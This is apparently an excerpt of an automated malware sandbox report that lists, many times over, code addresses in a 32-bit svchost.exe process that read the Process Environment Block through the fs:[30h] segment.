Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D2000 mov eax, dword ptr fs:[00000030h]	7_2_034D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E016 mov eax, dword ptr fs:[00000030h]	7_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E016 mov eax, dword ptr fs:[00000030h]	7_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E016 mov eax, dword ptr fs:[00000030h]	7_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E016 mov eax, dword ptr fs:[00000030h]	7_2_0344E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342A020 mov eax, dword ptr fs:[00000030h]	7_2_0342A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342C020 mov eax, dword ptr fs:[00000030h]	7_2_0342C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C6030 mov eax, dword ptr fs:[00000030h]	7_2_034C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B20DE mov eax, dword ptr fs:[00000030h]	7_2_034B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342A0E3 mov ecx, dword ptr fs:[00000030h]	7_2_0342A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034380E9 mov eax, dword ptr fs:[00000030h]	7_2_034380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B60E0 mov eax, dword ptr fs:[00000030h]	7_2_034B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342C0F0 mov eax, dword ptr fs:[00000030h]	7_2_0342C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034720F0 mov ecx, dword ptr fs:[00000030h]	7_2_034720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343208A mov eax, dword ptr fs:[00000030h]	7_2_0343208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C80A8 mov eax, dword ptr fs:[00000030h]	7_2_034C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F60B8 mov eax, dword ptr fs:[00000030h]	7_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F60B8 mov ecx, dword ptr fs:[00000030h]	7_2_034F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346674D mov esi, dword ptr fs:[00000030h]	7_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346674D mov eax, dword ptr fs:[00000030h]	7_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346674D mov eax, dword ptr fs:[00000030h]	7_2_0346674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430750 mov eax, dword ptr fs:[00000030h]	7_2_03430750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BE75D mov eax, dword ptr fs:[00000030h]	7_2_034BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472750 mov eax, dword ptr fs:[00000030h]	7_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472750 mov eax, dword ptr fs:[00000030h]	7_2_03472750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B4755 mov eax, dword ptr fs:[00000030h]	7_2_034B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438770 mov eax, dword ptr fs:[00000030h]	7_2_03438770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440770 mov eax, dword ptr fs:[00000030h]	7_2_03440770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C700 mov eax, dword ptr fs:[00000030h]	7_2_0346C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430710 mov eax, dword ptr fs:[00000030h]	7_2_03430710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03460710 mov eax, dword ptr fs:[00000030h]	7_2_03460710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C720 mov eax, dword ptr fs:[00000030h]	7_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C720 mov eax, dword ptr fs:[00000030h]	7_2_0346C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346273C mov eax, dword ptr fs:[00000030h]	7_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346273C mov ecx, dword ptr fs:[00000030h]	7_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346273C mov eax, dword ptr fs:[00000030h]	7_2_0346273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AC730 mov eax, dword ptr fs:[00000030h]	7_2_034AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343C7C0 mov eax, dword ptr fs:[00000030h]	7_2_0343C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B07C3 mov eax, dword ptr fs:[00000030h]	7_2_034B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034527ED mov eax, dword ptr fs:[00000030h]	7_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034527ED mov eax, dword ptr fs:[00000030h]	7_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034527ED mov eax, dword ptr fs:[00000030h]	7_2_034527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BE7E1 mov eax, dword ptr fs:[00000030h]	7_2_034BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034347FB mov eax, dword ptr fs:[00000030h]	7_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034347FB mov eax, dword ptr fs:[00000030h]	7_2_034347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D678E mov eax, dword ptr fs:[00000030h]	7_2_034D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034307AF mov eax, dword ptr fs:[00000030h]	7_2_034307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E47A0 mov eax, dword ptr fs:[00000030h]	7_2_034E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344C640 mov eax, dword ptr fs:[00000030h]	7_2_0344C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F866E mov eax, dword ptr fs:[00000030h]	7_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F866E mov eax, dword ptr fs:[00000030h]	7_2_034F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A660 mov eax, dword ptr fs:[00000030h]	7_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A660 mov eax, dword ptr fs:[00000030h]	7_2_0346A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03462674 mov eax, dword ptr fs:[00000030h]	7_2_03462674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE609 mov eax, dword ptr fs:[00000030h]	7_2_034AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03472619 mov eax, dword ptr fs:[00000030h]	7_2_03472619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0344E627 mov eax, dword ptr fs:[00000030h]	7_2_0344E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03466620 mov eax, dword ptr fs:[00000030h]	7_2_03466620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03468620 mov eax, dword ptr fs:[00000030h]	7_2_03468620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0343262C mov eax, dword ptr fs:[00000030h]	7_2_0343262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A6C7 mov ebx, dword ptr fs:[00000030h]	7_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A6C7 mov eax, dword ptr fs:[00000030h]	7_2_0346A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	7_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	7_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	7_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AE6F2 mov eax, dword ptr fs:[00000030h]	7_2_034AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B06F1 mov eax, dword ptr fs:[00000030h]	7_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B06F1 mov eax, dword ptr fs:[00000030h]	7_2_034B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03434690 mov eax, dword ptr fs:[00000030h]	7_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03434690 mov eax, dword ptr fs:[00000030h]	7_2_03434690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C6A6 mov eax, dword ptr fs:[00000030h]	7_2_0346C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034666B0 mov eax, dword ptr fs:[00000030h]	7_2_034666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438550 mov eax, dword ptr fs:[00000030h]	7_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438550 mov eax, dword ptr fs:[00000030h]	7_2_03438550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346656A mov eax, dword ptr fs:[00000030h]	7_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346656A mov eax, dword ptr fs:[00000030h]	7_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346656A mov eax, dword ptr fs:[00000030h]	7_2_0346656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C6500 mov eax, dword ptr fs:[00000030h]	7_2_034C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504500 mov eax, dword ptr fs:[00000030h]	7_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504500 mov eax, dword ptr fs:[00000030h]	7_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504500 mov eax, dword ptr fs:[00000030h]	7_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504500 mov eax, dword ptr fs:[00000030h]	7_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504500 mov eax, dword ptr fs:[00000030h]	7_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504500 mov eax, dword ptr fs:[00000030h]	7_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03504500 mov eax, dword ptr fs:[00000030h]	7_2_03504500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440535 mov eax, dword ptr fs:[00000030h]	7_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440535 mov eax, dword ptr fs:[00000030h]	7_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440535 mov eax, dword ptr fs:[00000030h]	7_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440535 mov eax, dword ptr fs:[00000030h]	7_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440535 mov eax, dword ptr fs:[00000030h]	7_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440535 mov eax, dword ptr fs:[00000030h]	7_2_03440535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E53E mov eax, dword ptr fs:[00000030h]	7_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E53E mov eax, dword ptr fs:[00000030h]	7_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E53E mov eax, dword ptr fs:[00000030h]	7_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E53E mov eax, dword ptr fs:[00000030h]	7_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E53E mov eax, dword ptr fs:[00000030h]	7_2_0345E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E5CF mov eax, dword ptr fs:[00000030h]	7_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E5CF mov eax, dword ptr fs:[00000030h]	7_2_0346E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034365D0 mov eax, dword ptr fs:[00000030h]	7_2_034365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	7_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A5D0 mov eax, dword ptr fs:[00000030h]	7_2_0346A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345E5E7 mov eax, dword ptr fs:[00000030h]	7_2_0345E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034325E0 mov eax, dword ptr fs:[00000030h]	7_2_034325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C5ED mov eax, dword ptr fs:[00000030h]	7_2_0346C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346C5ED mov eax, dword ptr fs:[00000030h]	7_2_0346C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03432582 mov eax, dword ptr fs:[00000030h]	7_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03432582 mov ecx, dword ptr fs:[00000030h]	7_2_03432582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03464588 mov eax, dword ptr fs:[00000030h]	7_2_03464588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E59C mov eax, dword ptr fs:[00000030h]	7_2_0346E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B05A7 mov eax, dword ptr fs:[00000030h]	7_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B05A7 mov eax, dword ptr fs:[00000030h]	7_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B05A7 mov eax, dword ptr fs:[00000030h]	7_2_034B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034545B1 mov eax, dword ptr fs:[00000030h]	7_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034545B1 mov eax, dword ptr fs:[00000030h]	7_2_034545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346E443 mov eax, dword ptr fs:[00000030h]	7_2_0346E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EA456 mov eax, dword ptr fs:[00000030h]	7_2_034EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342645D mov eax, dword ptr fs:[00000030h]	7_2_0342645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345245A mov eax, dword ptr fs:[00000030h]	7_2_0345245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BC460 mov ecx, dword ptr fs:[00000030h]	7_2_034BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345A470 mov eax, dword ptr fs:[00000030h]	7_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345A470 mov eax, dword ptr fs:[00000030h]	7_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345A470 mov eax, dword ptr fs:[00000030h]	7_2_0345A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03468402 mov eax, dword ptr fs:[00000030h]	7_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03468402 mov eax, dword ptr fs:[00000030h]	7_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03468402 mov eax, dword ptr fs:[00000030h]	7_2_03468402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342E420 mov eax, dword ptr fs:[00000030h]	7_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342E420 mov eax, dword ptr fs:[00000030h]	7_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342E420 mov eax, dword ptr fs:[00000030h]	7_2_0342E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342C427 mov eax, dword ptr fs:[00000030h]	7_2_0342C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6420 mov eax, dword ptr fs:[00000030h]	7_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6420 mov eax, dword ptr fs:[00000030h]	7_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6420 mov eax, dword ptr fs:[00000030h]	7_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6420 mov eax, dword ptr fs:[00000030h]	7_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6420 mov eax, dword ptr fs:[00000030h]	7_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6420 mov eax, dword ptr fs:[00000030h]	7_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034B6420 mov eax, dword ptr fs:[00000030h]	7_2_034B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346A430 mov eax, dword ptr fs:[00000030h]	7_2_0346A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034304E5 mov ecx, dword ptr fs:[00000030h]	7_2_034304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034EA49A mov eax, dword ptr fs:[00000030h]	7_2_034EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034364AB mov eax, dword ptr fs:[00000030h]	7_2_034364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034644B0 mov ecx, dword ptr fs:[00000030h]	7_2_034644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BA4B0 mov eax, dword ptr fs:[00000030h]	7_2_034BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E4B4B mov eax, dword ptr fs:[00000030h]	7_2_034E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E4B4B mov eax, dword ptr fs:[00000030h]	7_2_034E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C6B40 mov eax, dword ptr fs:[00000030h]	7_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034C6B40 mov eax, dword ptr fs:[00000030h]	7_2_034C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034FAB40 mov eax, dword ptr fs:[00000030h]	7_2_034FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034D8B42 mov eax, dword ptr fs:[00000030h]	7_2_034D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DEB50 mov eax, dword ptr fs:[00000030h]	7_2_034DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0342CB7E mov eax, dword ptr fs:[00000030h]	7_2_0342CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034AEB1D mov eax, dword ptr fs:[00000030h]	7_2_034AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345EB20 mov eax, dword ptr fs:[00000030h]	7_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345EB20 mov eax, dword ptr fs:[00000030h]	7_2_0345EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F8B28 mov eax, dword ptr fs:[00000030h]	7_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034F8B28 mov eax, dword ptr fs:[00000030h]	7_2_034F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03450BCB mov eax, dword ptr fs:[00000030h]	7_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03450BCB mov eax, dword ptr fs:[00000030h]	7_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03450BCB mov eax, dword ptr fs:[00000030h]	7_2_03450BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430BCD mov eax, dword ptr fs:[00000030h]	7_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430BCD mov eax, dword ptr fs:[00000030h]	7_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03430BCD mov eax, dword ptr fs:[00000030h]	7_2_03430BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034DEBD0 mov eax, dword ptr fs:[00000030h]	7_2_034DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438BF0 mov eax, dword ptr fs:[00000030h]	7_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438BF0 mov eax, dword ptr fs:[00000030h]	7_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03438BF0 mov eax, dword ptr fs:[00000030h]	7_2_03438BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0345EBFC mov eax, dword ptr fs:[00000030h]	7_2_0345EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034BCBF0 mov eax, dword ptr fs:[00000030h]	7_2_034BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440BBE mov eax, dword ptr fs:[00000030h]	7_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440BBE mov eax, dword ptr fs:[00000030h]	7_2_03440BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E4BB0 mov eax, dword ptr fs:[00000030h]	7_2_034E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_034E4BB0 mov eax, dword ptr fs:[00000030h]	7_2_034E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436A50 mov eax, dword ptr fs:[00000030h]	7_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436A50 mov eax, dword ptr fs:[00000030h]	7_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436A50 mov eax, dword ptr fs:[00000030h]	7_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436A50 mov eax, dword ptr fs:[00000030h]	7_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436A50 mov eax, dword ptr fs:[00000030h]	7_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436A50 mov eax, dword ptr fs:[00000030h]	7_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03436A50 mov eax, dword ptr fs:[00000030h]	7_2_03436A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440A5B mov eax, dword ptr fs:[00000030h]	7_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03440A5B mov eax, dword ptr fs:[00000030h]	7_2_03440A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346CA6F mov eax, dword ptr fs:[00000030h]	7_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346CA6F mov eax, dword ptr fs:[00000030h]	7_2_0346CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_0346CA6F mov eax, dword ptr fs:[00000030h]	7_2_0346CA6F
